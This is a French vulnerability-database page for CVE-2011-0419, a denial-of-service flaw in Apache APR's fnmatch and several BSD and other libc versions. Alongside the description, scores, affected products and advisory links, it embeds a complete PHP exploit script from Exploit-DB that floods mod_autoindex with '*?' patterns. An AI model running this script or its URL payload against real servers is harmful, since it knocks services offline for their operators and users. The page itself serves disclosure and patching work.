CVE-2011-0419 : Détail

CVE-2011-0419

96.67%V3
Network
2011-05-16
15h00 +00:00
2021-06-06
08h10 +00:00
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Descriptions du CVE

Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, and in fnmatch.c in libc in NetBSD 5.1, OpenBSD 4.8, FreeBSD, Apple Mac OS X 10.6, Oracle Solaris 10, and Android, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-770 Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 35738

Date de publication : 2011-05-11 22h00 +00:00
Auteur : Maksymilian Arciemowicz
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/47820/info Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition. Apache APR versions prior to 1.4.4 are vulnerable. <?php /* Apache 2.2.17 mod_autoindex local/remote Denial of Service author: Maksymilian Arciemowicz CVE: CVE-2011-0419 CWE: CWE-399 REMOTE Find some directory with supported mod_autoindex on the server. The directory should contain long filenames. http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k] LOCAL Tested on: 127# httpd -v && uname -a Server version: Apache/2.2.17 (Unix) Server built: Dec 28 2010 13:21:44 NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386 Result: 127# ls -la total 8 drwxrwxrwx 2 root wheel 512 Feb 8 21:41 . drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 .. -rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess -rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx............................................................................................................................. -rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php 127# ps -aux -p 617 USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start Time = 121:43 and counting where http://[$localhost]:[$localport]/[$localuri] */ $localhost="localhost"; $localport=80; $localuri="/koniec/"; if(!is_writable(".")) die("!writable"); // Phase 1 // Create some filename touch("cx".str_repeat(".",125)); // Phase 2 // Create .htaccess with unlink("./.htaccess"); $htaccess=fopen("./.htaccess", "a"); fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n"); fclose($htaccess); // Phase 3 // Local connect (bypass firewall restriction) while(1){ $fp = fsockopen($localhost, $localport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\n"; else { $out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n"; $out .= "Host: ".$localhost."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); } } ?>

Products Mentioned

Configuraton 0

Apache>>Portable_runtime >> Version To (excluding) 1.4.3

Configuraton 0

Apache>>Http_server >> Version From (including) 2.0.0 To (including) 2.0.65

Apache>>Http_server >> Version From (including) 2.2.0 To (including) 2.2.18

Configuraton 0

Apple>>Mac_os_x >> Version 10.6.0

Freebsd>>Freebsd >> Version *

Google>>Android >> Version *

Netbsd>>Netbsd >> Version 5.1

Openbsd>>Openbsd >> Version 4.8

Oracle>>Solaris >> Version 10

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Suse>>Linux_enterprise_server >> Version 10

Références

http://secunia.com/advisories/44574
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=131731002122529&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48308
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/achievement_securityalert/98
Tags : third-party-advisory, x_refsource_SREASONRES
http://marc.info/?l=bugtraq&m=131551295528105&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=134987041210674&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=132033751509019&w=2
Tags : vendor-advisory, x_refsource_HP
http://securitytracker.com/id?1025527
Tags : vdb-entry, x_refsource_SECTRACK
http://securityreason.com/securityalert/8246
Tags : third-party-advisory, x_refsource_SREASON
http://www.debian.org/security/2011/dsa-2237
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2011-0897.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/44564
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=131731002122529&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/44490
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0896.html
Tags : vendor-advisory, x_refsource_REDHAT
http://support.apple.com/kb/HT5002
Tags : x_refsource_CONFIRM
http://www.mandriva.com/security/advisories?name=MDVSA-2011:084
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.redhat.com/support/errata/RHSA-2011-0507.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=132033751509019&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=131551295528105&w=2
Tags : vendor-advisory, x_refsource_HP